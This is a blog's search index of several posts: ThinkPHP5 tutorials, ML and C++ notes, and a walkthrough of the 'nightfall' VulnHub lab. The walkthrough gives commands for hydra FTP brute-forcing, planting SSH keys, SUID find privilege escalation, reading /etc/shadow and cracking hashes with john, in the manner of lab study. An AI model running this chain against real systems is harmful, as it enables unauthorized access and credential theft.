-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathsearch.xml
106 lines (106 loc) · 36.1 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[nightfall渗透测试]]></title>
<url>%2F2019%2F09%2F10%2Fnightfall%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%2F</url>
<content type="text"><![CDATA[背景知识 什么是SAMBA enum4linux uid之ruid,euid,suid https://brucechen7.github.io/2014/11/14/2014-11-14-euid-ruid-euid/ https://unix.stackexchange.com/questions/191940/difference-between-owner-root-and-ruid-euid https://www.jianshu.com/p/23f2f2be2b29 https://www.cnblogs.com/limingluzhu/p/5702486.html https://www.anquanke.com/post/id/86979 (推荐) /etc/passwd和/etc/shadow的区别 攻击步骤 发现主机 123456789# netdiscoverCurrently scanning: 172.26.118.0/16 | Screen View: Unique Hosts 244 Captured ARP Req/Rep packets, from 27 hosts. Total size: 14100 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.188.14.179 08:00:27:5a:52:6b 108 6480 PCS Systemtechnik GmbH 10.188.144.178 14:ab:c5:9f:29:5f 18 1008 Intel Corporate 10.188.88.79 30:3a:64:f6:b4:40 21 1176 Intel Corporate 扫描端口, 发现可用ftp服务 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071# nmap -A xx.xxx.xx.xStarting Nmap 7.80 ( https://nmap.org ) at 2019-09-10 15:36 EDTNmap scan report for 10.188.14.179Host is up (0.00037s latency).Not shown: 994 closed portsPORT STATE SERVICE VERSION21/tcp open ftp pyftpdlib 1.5.5| ftp-syst: | STAT: | FTP server status:| Connected to: 10.188.14.179:21| Waiting for username.| TYPE: ASCII; STRUcture: File; MODE: Stream| Data connection closed.|_End of status.22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)| ssh-hostkey: | 2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA)| 256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA)|_ 256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519)80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-server-header: Apache/2.4.38 (Debian)|_http-title: Apache2 Debian Default Page: It works139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1| mysql-info: | Protocol: 10| Version: 5.5.5-10.3.15-MariaDB-1| Thread ID: 12| Capabilities flags: 63486| Some Capabilities: ODBCClient, Support41Auth, Speaks41ProtocolOld, FoundRows, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, InteractiveClient, IgnoreSigpipes, SupportsCompression, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins| Status: Autocommit| Salt: *eBUf$|gmnay^K<,f<;S|_ Auth Plugin Name: mysql_native_passwordMAC Address: 08:00:27:5A:52:6B (Oracle VirtualBox virtual NIC)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:|_clock-skew: mean: 1h19m58s, deviation: 2h18m34s, median: -1s|_nbstat: NetBIOS name: NIGHTFALL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)| smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian)| Computer name: nightfall| NetBIOS computer name: NIGHTFALL\x00| Domain name: nightfall| FQDN: nightfall.nightfall|_ System time: 2019-09-10T15:36:37-04:00| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-security-mode: | 2.02: |_ Message signing enabled but not required| smb2-time: | date: 2019-09-10T19:36:37|_ start_date: N/ATRACEROUTEHOP RTT ADDRESS1 0.37 ms 10.188.14.179OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 36.43 seconds 发掘系统的信息 1enum4linux xx.xx.xx.x 暴力破解ftp密码 1hydra -l matt -P /usr/share/wordlists/rockyou.txt xx.xx.xx.xx ftp -e nsr 破解得到用户matt的密码为cheese, 用其登录ftp 创建~/.ssh文件夹 1ftp> mkdir .ssh 本地创建ssh的key并将id_rsa.pub复制一份重命名为authorized_keys 12ssh-keygencp ~/.ssh/id_rsa.pub ~/authorized_keys nightfall上使用ftp上传本地的~/.ssh/id_rsa.pub到nightfall的新创建的~/.ssh文件夹下 12ftp>cd .sshftp>put authorized_keys 直接登录matt账号 1ssh [email protected] 查找具有SUID权限的文件 1find / -perm -u=s -type f 2>/dev/null 运行类find命令提权 12cd /scripts./find . -exec /bin/sh -p \; -quit nightfall家目录下创建.ssh文件夹, 类似上传authorized_keys文件, 然后ssh登录nightfall账号 读取shadow文件中的加密密码 1sudo -u root cat /etc/shadow 将root的加密密码复制到本地pwd.txt文件并使用john the ripper来破解密码 1john pwd.txt 使用找到的密码登录root破解完成 参考链接 nightfall VM download https://www.hackingarticles.in/sunset-nightfall-vulnhub-walkthrough/ some other notes123nmap -sP -n -oX results.txt 10.188.1.1/16grep -Eo 'addr=".*?" addrtype="ipv4"' results.txt | awk -F '"' '{print $2}' > ips.txtnmap -sS -O -A -oX details.txt -iL ips.txt]]></content>
<tags>
<tag>hack</tag>
<tag>security</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程六:input助手函数]]></title>
<url>%2F2018%2F08%2F07%2FThinkphp5%E6%95%99%E7%A8%8B%E5%85%AD-input%E5%8A%A9%E6%89%8B%E5%87%BD%E6%95%B0%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. input助手函数定义在helper.php, 注意自己定义的函数里面不能有input, 否则不能正常使用input. 废话不说,直接例子:app/index/controller/Index.php:123456789101112131415161718192021222324<?phpnamespace app\index\controller;use think\Request;class Index{ public function index(Request $request) { dump($request->param()); // $res = input('post.id'); // dump($request->post('id')); $res = input('get.id'); dump($request->get('id')); // 强制过滤 $res = input('post.id', 100, 'intval'); dump($request->get('id', 100, 'intval')); session('email', '[email protected]'); dump(input('session.email')); dump($res); }} 访问http://localhost/ThinkPHP/public/index/Index/index/type/5.html?id=10, 若同时收到get和post,且他们含有同一个参数名id, 那么$res = input(‘id’);不能正常取到所有的值, 需要使用$res = input(‘post.id’);或者$res = input(get.id’);才行. 建议直接使用Request对象里面的各种方法获取参数, 使用input助手函数会出现重定义出错问题。]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程五:请求对象Request]]></title>
<url>%2F2018%2F08%2F02%2FThinkphp5%E6%95%99%E7%A8%8B%E4%BA%94-%E8%AF%B7%E6%B1%82%E5%AF%B9%E8%B1%A1Request%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. 请求对象RequestGenerally, we use the following three methods to get parameters. 直接使用request方法 使用Request类, 单例模式, 在整个应用中, 只能实例化一次 直接注入方法, 传入参数(建议使用, 更加直白) 具体代码例子如下: 123456789101112131415161718192021<?phpnamespace app\index\controller;use think\Request;class Index{ public function index() { // method 1 // $request = request(); // method 2 $request = Request::instance(); dump($request); } // method 3 public function demo(Request $request) { dump($request); }} 内部流程是:入口文件index.php-> 引入start.php->执行App::run()-> 返回一个Request对象, 所以后面就可以直接使用request了. Example:app/index/controller/Index.php1234567891011121314151617181920212223242526272829303132333435363738394041<?phpnamespace app\index\controller;use think\Request;class Index{ public function index(Request $request) { // 获取浏览器输入框的值 dump($request->domain()); dump($request->pathinfo()); dump($request->path()); // 请求类型 dump($request->method()); dump($request->isGet()); dump($request->isPost()); dump($request->isAjax()); // 请求的参数 dump($request->get()); dump($request->param()); dump($request->post()); // session('name', 'theo'); dump($request->session()); // cookie('email', '[email protected]'); dump($request->cookie()); dump($request->param('type')); dump($request->cookie('email')); // 获取模块, 控制器, 操作, 用于验证是否有权限等 dump($request->module()); dump($request->controller()); dump($request->action()); dump($request->url()); dump($request->baseUrl()); }} 然后我们在浏览器输入: http://localhost/ThinkPHP/public/index/Index/index/type/5.html?id=10 要注意的是:需要将convention.php中的session设置复制到app的config.php中, 然后记得删除httponly和secure这两项设置, 才能正常启用session. (实际测试中, 不删除也可以使用)]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程四:路由]]></title>
<url>%2F2018%2F08%2F02%2FThinkphp5%E6%95%99%E7%A8%8B%E5%9B%9B-%E8%B7%AF%E7%94%B1%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. 路由路由是为了规范访问的url, 使得访问的地址更简洁. 同时隐藏文件的真实地址, 使得网站更加安全. 开启路由的方法: 复制convention.php下的url_router_on到应用的config.php里并修改其值为true, 新建文件conf/router.php:1234<?phpreturn [ ‘news/:id’ => ‘index/index/info’]; index模块的Index.php文件:1234567891011121314151617181920212223<?phpnamespace app\index\controller;class Index{ public function index() { return ‘index index index’; } public function info($id) { // 没开路由前: localhost/index/index/info/id/5 // 设置路由之后: localhost/news/5.html echo url(‘index/index/info’, [‘id => 10]) . “<br>”; echo url(‘index/index/index’, [‘id => 10]) . “<br>”; return “{$id}”; } public function demo() { echo ‘demo’; }} 若conf/config.php文件中增加了’url_router_must’ => true, 则正常的url不能访问, 比如http://localhost/ThinkPHP/public/index/Index/demo 会报错, 此时我们需要在路由router.php里面设置‘index/index/demo’ => ‘index/index/demo’, 才可以正确访问. 这么麻烦, 所以一般开发时候我们设置’url_router_must’ => false.]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程三:入口文件]]></title>
<url>%2F2018%2F08%2F02%2FThinkphp5%E6%95%99%E7%A8%8B%E4%B8%89-%E5%85%A5%E5%8F%A3%E6%96%87%E4%BB%B6%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. 入口文件单入口文件: 应用程序的所有http请求都由某文件接收并由这个文件转发到功能代码中. thinkPHP框架中所有的请求都经过public/index.php. 单入口文件优势: 安全检测 请求过滤 public/index.php文件中必须加载框架引导文件start.php, 该文件为我们处理安全过滤.可以修改app/index/controller/Index.php文件:12345678910<?phpnamespace app\index\controller;class index{ public function index() { dump(config());// print all the configs }} 隐藏入口文件方法: 将websever的根目录设置为项目的public/文件夹 取消注释httpd.conf文件(Ubuntu中在/opt/lampp/etc/下)里的LoadModule rewrite_module modules/mod_rewrite.so 将该文件中的下的AllowOverride None改为AllowOverride All 同时保证网站目录public/.htaccess文件中内容为: 12345678<IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]</IfModule> 重启Apache 注释: RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]是指将所有请求^(.*)$放到index.php/后面的$1这里, 所以保证我们能正常访问. 入口文件的绑定在入口文件index.php添加:1define('BIND_MODULE', 'demo'); 则url访问demo模块下Index控制器的index方法需要输入: http://localhost/ThinkPHP/public/Index/index 若是define('BIND_MODULE', 'demo/index');, 则url访问demo模块下Index控制器的index方法需要输入: http://localhost/ThinkPHP/public/index总之要保证define里面参数加上url的参数最终得到: 模块/控制器/方法 的形式, 才可以正确访问, 只有小项目的时候需要设置入口文件绑定, 大项目一般不用设置. 假设我们的项目需要给第三方提供接口, 这时我们不希望第三方还访问经过public/index.php, 我们可以建立public/api.php, 写入:12345<?phpdefine('APP_PATH', __DIR__ . '/../application/');define('CONF_PATH', __DIR__ . '/../conf/');define('BIND_MODULE', 'api');require __DIR__ . '/../thinkphp/start.php'; 此时我们访问: http://localhost/ThinkPHP/public/api.php, 则只能访问到api这个模块了. 或者使用thinkPHP提供的另一个功能. 在conf/config.php文件中添加配置: ‘auto_bind_module’ => true, 这时系统会根据url里面含有的php文件名自动访问对应的同名模块. 这时假设我们url输入: http://localhost/ThinkPHP/public/api.php/index/demo即可直接访问api模块下的index控制器的demo方法. 需要注意的是, 通过设置auto_bind_module绑定的方法是可以访问其他模块的, 而通过define方式绑定的入口若没有该模块则直接报错.]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程二:系统环境配置和使用]]></title>
<url>%2F2018%2F08%2F02%2FThinkphp5%E6%95%99%E7%A8%8B%E4%BA%8C-%E7%B3%BB%E7%BB%9F%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. 首先在项目的根目录下面建立一个.env文件(文件名不可以更改), 在里面直接设置环境参数值. 如: [email protected], 获取该环境变量只需要dump($\_ENV[‘PHP_EMAIL’]);如果$\_ENV为空,其原因通常是php的配置文件/opt/lampp/etc/php.ini的配置项为variables_order = "GPCS"。要想让$\_ENV的值不为空,那么variables_order的值应该加上一个大写字母“E”即variables_order = "EGPCS"。然后重启lampp: sudo /opt/lampp/lampp restart 使用$\_ENV时候, 系统会自动在设置的环境变量名前面增加PHP_, 同时将环境变量名变成大写, 所以这时获取某环境变量时记得做相应改变; 为避免这个不方便的地方, 我们可以使用Env类. app/index/controller/Index.php:1234567891011121314151617<?phpnamespace app\index\controller;use think\Config;use think\Env;class Index{ public function index() { // dump($_ENV); // dump($_ENV['PHP_EMAIL']); $res = Env::get('email'); dump($res); }} 我们配合使用场景配置和环境变量设置就可以切换线上线下生产环境的配置. 例子conf/config.php中写:12345<?phpuse think\Env;return [ ‘app_status’ => Env::get(‘app_status’, ‘dev’)]; Env::get()的第二个参数是默认值(当该该参数没有设置时). conf/test.php:1234<?phpreturn [ ‘app_now_statue’ => ‘test’]; conf/dev.php:1234<?phpreturn [ ‘app_now_statue’ => ‘dev’]; Index.php:12345678910111213<?phpnamespace app\index\controller;use think\Config;use think\Env;class Index{ public function index() { dump(config()); }} 当我们需要改变环境时候, 只需要将.env文件下的status=test和status=dev之间切换, 即可该变环境. 这样我们做到仅仅修改.env文件, 其他文件都不变, 就可以实现不同环境之间的切换. 另一个例子, conf/database.php:123456789101112131415161718192021222324252627282930313233343536373839404142434445<?phpuse think\Env; return [ // 数据库类型 'type' => 'mysql', // 数据库连接DSN配置 'dsn' => '', // 服务器地址 'hostname' => '127.0.0.1', // 数据库名 'database' => '', // 数据库用户名 'username' => Env::get(‘database.username’, ‘root’) // 数据库密码 'password' => '', // 数据库连接端口 'hostport' => '', // 数据库连接参数 'params' => [], // 数据库编码默认采用utf8 'charset' => 'utf8', // 数据库表前缀 'prefix' => '', // 数据库调试模式 'debug' => false, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) 'deploy' => 0, // 数据库读写是否分离 主从式有效 'rw_separate' => false, // 读写分离后 主服务器数量 'master_num' => 1, // 指定从服务器序号 'slave_no' => '', // 是否严格检查字段是否存在 'fields_strict' => true, // 数据集返回类型 'resultset_type' => 'array', // 自动写入时间戳字段 'auto_timestamp' => false, // 时间字段取出后的默认时间格式 'datetime_format' => 'Y-m-d H:i:s', // 是否需要进行SQL性能分析 'sql_explain' => false, ], .env文件:123[database]username=root_envpassword=root 修改username变量即可方便地切换环境.]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Thinkphp5教程一:项目配置]]></title>
<url>%2F2018%2F08%2F02%2FThinkphp5%E6%95%99%E7%A8%8B%E4%B8%80-%E9%A1%B9%E7%9B%AE%E9%85%8D%E7%BD%AE%2F</url>
<content type="text"><![CDATA[最近在学thinkPHP, 但是官网给的教程十分简陋, 惜字如金, 很多没有解释清楚. 所以自己整理了一些笔记, 供参考. 转载请联系. 开始之前, 可以首先将application文件夹名字修改为app, 然后修改public/index.php入口文件中的define('APP_PATH', __DIR__ . '/../application/'); 变为define('APP_PATH', __DIR__ . '/../app/');, 这样之后的代码在逻辑上可能更好理解. 我项目的主目录是ThinkPHP/, 如果你的项目不是这个名字, 需要自行修改保证url能正常访问. 惯例配置在入口文件中定义项目config文件夹.12// 定义配置文件目录define('CONF_PATH', __DIR__ . '/../conf/'); convention.php里面有默认定义, 默认是application文件夹之下的config.php, 然后在app同级文件中建立一个新文件夹conf/, 该文件夹中建立一个config.php文件, 里面的配置对所有的应用起效. 这样的规划对项目后期维护很方便, 因为它的默认配置有很多是不变的。访问: http://localhost/ThinkPHP/public/index/Index/index 即可查看所有的config. application文件夹下的config.php文件配置会覆盖convention文件的配置 拓展配置可以在上面建立的conf文件夹之下建立一个extra文件夹, 里面建立一个email.php, 写入:12345<?phpreturn [ 'host' => '[email protected]', 'name' => '[email protected]']; Index.php控制器中输入:123456789<?phpnamespace app\index\controller;class index{ public function index() { dump(config()); // 打印所有配置 }} 那么打印的配置中会多了一项email, 其值为一个数组就是上面我们设置的. 它默认文件名为配置名称, return回来是该名称配置的数组配置值. 我们可以同样修改database等配置, 一般不是很复杂的开发时候, 没有必要这么做, 也可以将database.php放置在conf文件夹下, 同样可以生效(因为几乎每个项目都用到database, 出于人性化考虑, thinkPHP提供这样的功能, 但其他配置名称未必可以这么做了), 这些单独建立的配置文件的优先级高于config.php文件中的配置, 所以会覆盖其中的配置. 场景配置不同场景下使用的配置, 如家里和公司的配置文件在conf/config.php中加上一个配置: ‘app_status’ => ‘home’然后在conf文件夹之下建立一个文件home.php, 里面设置在家时使用的配置, 比如数据库密码不同, 但注意数据库需要设置全部的配置, 否则数据库配置会不全(thinkphp一个bug). 同样, 可以建立office.php, 里面设置在办公室时候的配置. 之后如果需要切换, 只需要将app_status修改为home或者office即可 模块配置之前的配置是对所有模块都会生效. 如果想某配置只对某模块起作用该怎么办? 在conf文件夹下建立模块同名的文件夹如index/, 其下新建config.php, 里面设置的配置只对index这个模块生效. 此外, 你也可以再建立文件conf/index/extra/demo.php, 里面设置一些拓展配置, 同样该配置只对index模块起作用. 动态配置主要对当前控制器或者当前方法设置配置. 比如在index控制器中写入:1234567891011121314151617181920<?phpnamespace app\index\controller;class index{ public function __construction() { config('before', 'beforeAction'); } public function index() { config('indexActionn', 'index'); dump(config()); // 打印所有配置 } public function demo() { dump(config()); }} __construction() 会在执行所有方法之前执行, 打开浏览器输入http://localhost/ThinkPHP/public/index/Index/index 和http://localhost/ThinkPHP/public/index/Index/demo即可查看两种方法下config的区别. config类和助手函数configconfig函数可以看做是config类的一个简化, 使用它的时候比较简单比如不需要设置namespace等. Index控制器中输入:1234567891011121314151617181920212223242526272829303132333435<?phpnamespace app\index\controller;use think\Config;class Index{ public function index() { // get param // $res = Config::get(); // same result as below // $res = config(); // $res = Config::get('app_namespace');// get parameter's value // $res = config('app_namespace'); // same result as above // dump($res); // set params // Config::set('username', 'theo'); // config('username', 'theo'); // dump(Config::get('username')); // return null if para doesn't exist // 设置作用域(第三个参数) // Config::set('username', 'theo', 'index'); // get时候同样需要设置作用域 // config('username', 'theo', 'index'); // dump(Config::get('username'), 'index'); // dump(Config::get('username')); // return null if para doesn't exist $res = config('?username'); $res = Config::has('username'); dump($res); }} 取消注释看不同的结果. config()定义在thinkphp/helper.php这个文件里. 可自行查看其代码实现]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>Thinkphp</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Machine Learning Notes]]></title>
<url>%2F2018%2F06%2F05%2FMachine-Learning-Tricks%2F</url>
<content type="text"><![CDATA[Preface: Some note collections about machine learning Is it possible to specify different batch sizes for train and validation?for train data, there are reasons to keep batches relatively small (batch size can effect training results), however for the validation set, using a single reasonably big batch Why mini batch size is better than one single “batch” with all training data?Answer1: 深度学习的优化算法,说白了就是梯度下降。每次的参数更新有两种方式。 第一种,遍历全部数据集算一次损失函数,然后算函数对各个参数的梯度,更新梯度。这种方法每更新一次参数都要把数据集里的所有样本都看一遍,计算量开销大,计算速度慢,不支持在线学习,这称为Batch gradient descent,批梯度下降。 另一种,每看一个数据就算一下损失函数,然后求梯度更新参数,这个称为随机梯度下降,stochastic gradient descent。这个方法速度比较快,但是收敛性能不太好,可能在最优点附近晃来晃去,hit不到最优点。两次参数的更新也有可能互相抵消掉,造成目标函数震荡的比较剧烈。 为了克服两种方法的缺点,现在一般采用的是一种折中手段,mini-batch gradient decent,小批的梯度下降,这种方法把数据分为若干个批,按批来更新参数,这样,一个批中的一组数据共同决定了本次梯度的方向,下降起来就不容易跑偏,减少了随机性。另一方面因为批的样本数与整个数据集相比小了很多,计算量也不是很大。 Answer2: The key advantage of using minibatch as opposed to the full dataset goes back to the fundamental idea of stochastic gradient descent1. In batch gradient descent, you compute the gradient over the entire dataset, averaging over potentially a vast amount of information. It takes lots of memory to do that. But the real handicap is the batch gradient trajectory land you in a bad spot (saddle point). In pure SGD, on the other hand, you update your parameters by adding (minus sign) the gradient computed on a single instance of the dataset. Since it’s based on one random data point, it’s very noisy and may go off in a direction far from the batch gradient. However, the noisiness is exactly what you want in non-convex optimization, because it helps you escape from saddle points or local minima(Theorem 6 in [2]). The disadvantage is it’s terribly inefficient and you need to loop over the entire dataset many times to find a good solution. The minibatch methodology is a compromise that injects enough noise to each gradient update, while achieving a relative speedy convergence. 1 Bottou, L. (2010). Large-scale machine learning with stochastic gradient descent. In Proceedings of COMPSTAT’2010 (pp. 177-186). Physica-Verlag HD. [2] Ge, R., Huang, F., Jin, C., & Yuan, Y. (2015, June). Escaping From Saddle Points-Online Stochastic Gradient for Tensor Decomposition. In COLT (pp. 797-842). Train loss 为 nan 的可能原因 learning rate太大,导致loss无法converge而趋近无穷 检查计算过程是否有除以0的情况 input data含有nan情况,使用 assert not np.any(np.isnan(x))确保不含有nan情况,同时也保证output data全为有效数据 神经网络的预测值为常数,不符合实际情况 神经元麻木,检查是否是因为没有batch normalization RNN神经网络添加batch normalization?防止过拟合 修改合适的weight_decay 减小学习速度 增加数据]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>machine learning</tag>
</tags>
</entry>
<entry>
<title><![CDATA[编程笔记]]></title>
<url>%2F2018%2F06%2F04%2F%E7%BC%96%E7%A8%8B%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[前言:该文章用于记录个人平时的阅读笔记或者编程随想。内容比较片段化,有些地方略过,有些地方会直接引用,不会细讲,目的只是一个reminder。 C++ 智能指针C++ 智能指针能够自动释放指针指向的内存,避免内存泄露的危险。常用的C++智能指针有shared_ptr,auto_ptr,unique_ptr和weak_ptr。 常见的内存错误1.内存分配不成功却使用了它。并不是所有内存分配都会成功,在使用之前使用assert(p!=NULL)来检查指针是否为NULL。如果是用malloc或new来申请内存,应该用if(p==NULL) 或if(p!=NULL)进行防错处理。2.内存分配成功却忘记初始化而直接使用。由于没有初始化指针会乱指导致产生野指针。在变量声明时就可以直接初始化或者指向NULL。12char *p = NULL;char *str = (char *) malloc(100); 3.内存分配和初始化成功,但操作内存越界、尤其是在使用for循环时,容易混淆下标的范围。4.忘记释放内存,造成内存泄露。如果不是使用智能指针,一个new对应一个delete(malloc与free相同),切记切记!5.多次释放同一个内存。6.使用free或delete释放了内存后,没有将指针指向NULL。导致产生“野指针”。7.已经释放内存了却还使用它。 注意事项内容修改和比较常量字符串不能修改。虽然从语法上看没有错误,编译器不能发现错误,但是在运行时会出错。123456char a[] = “hello”;a[0] = ‘X’;cout << a << endl;char *p = “world”; // 注意p指向常量字符串p[0] = ‘X’; // 编译器不能发现该错误cout << p << endl; 数组不能直接进行复制和比较。将数组a内容复制给b不能简单使用b = a,否则产生编译错误,应该使用strcpy。同理使用strcmp比较两个数组。1234567891011// 数组…char a[] = "hello";char b[10];strcpy(b, a); // 不能用 b = a;if(strcmp(b, a) == 0) // 不能用 if (b == a)…// 指针…int len = strlen(a);char *p = (char *)malloc(sizeof(char)*(len+1));strcpy(p,a); // 不要用 p = a;if(strcmp(p, a) == 0) // 不要用 if (p == a) 注意当数组作为函数的参数进行传递时,该数组自动退化为同类型的指针。如下示例中,不论数组a的容量是多少,sizeof(a)始终等于sizeof(char *)。1234void Func(char a[100]){ cout<< sizeof(a) << endl; // 4字节而不是100字节} 指针参数的传递不要使用指针去申请动态内存。下例中str最后还是NULL。12345678910void GetMemory(char *p, int num){ p = (char *)malloc(sizeof(char) * num);}void Test(void){ char *str = NULL; GetMemory(str, 100); // str 仍然为 NULL strcpy(str, "hello"); // 运行错误} 毛病出在函数GetMemory中。编译器总是要为函数的每个参数制作临时副本,指针参数p的副本是 _p,编译器使 _p = p。如果函数体内的程序修改了_p的内容,就导致参数p的内容作相应的修改。这就是指针可以用作输出参数的原因。在本例中,_p申请了新的内存,只是把_p所指的内存地址改变了,但是p丝毫未变。所以函数GetMemory并不能输出任何东西。事实上,每执行一次GetMemory就会泄露一块内存,因为没有用free释放内存。 如果非得要用指针参数去申请内存,那么应该改用“指向指针的指针”,见示例:12345678910111213void GetMemory2(char **p, int num){ *p = (char *)malloc(sizeof(char) * num);}void Test2(void){ char *str = NULL; GetMemory2(&str, 100); // 注意参数是 &str,而不是str strcpy(str, "hello"); cout<< str << endl; free(str);} 由于“指向指针的指针”这个概念不容易理解,我们可以用函数返回值来传递动态内存。这种方法更加简单,见示例:1234567891011121314char *GetMemory3(int num){ char *p = (char *)malloc(sizeof(char) * num); return p;}void Test3(void){ char *str = NULL; str = GetMemory3(100); strcpy(str, "hello"); cout<< str << endl; free(str);} 用函数返回值来传递动态内存这种方法虽然好用,但是常常有人把return语句用错了。这里强调不要用return语句返回指向“栈内存”的指针,因为该内存在函数结束时自动消亡,见示例:123456789101112char *GetString(void){ char p[] = "hello world"; return p; // 编译器将提出警告}void Test4(void){ char *str = NULL; str = GetString(); // str 的内容是垃圾 cout<< str << endl;} 用调试器逐步跟踪Test4,发现执行str = GetString语句后str不再是NULL指针,但是str的内容不是“hello world”而是垃圾。 如果把上述示例改写成如下示例,会怎么样?1234567891011char *GetString2(void){ char *p = "hello world"; return p;}void Test5(void){ char *str = NULL; str = GetString2(); cout<< str << endl;} 函数Test5运行虽然不会出错,但是函数GetString2的设计概念却是错误的。因为GetString2内的“hello world”是常量字符串,位于静态存储区,它在程序生命期内恒定不变。无论什么时候调用GetString2,它返回的始终是同一个“只读”的内存块。 相关阅读 C++智能指针简单剖析 C++内存池]]></content>
<categories>
<category>阅读笔记</category>
</categories>
<tags>
<tag>C++</tag>
</tags>
</entry>
</search>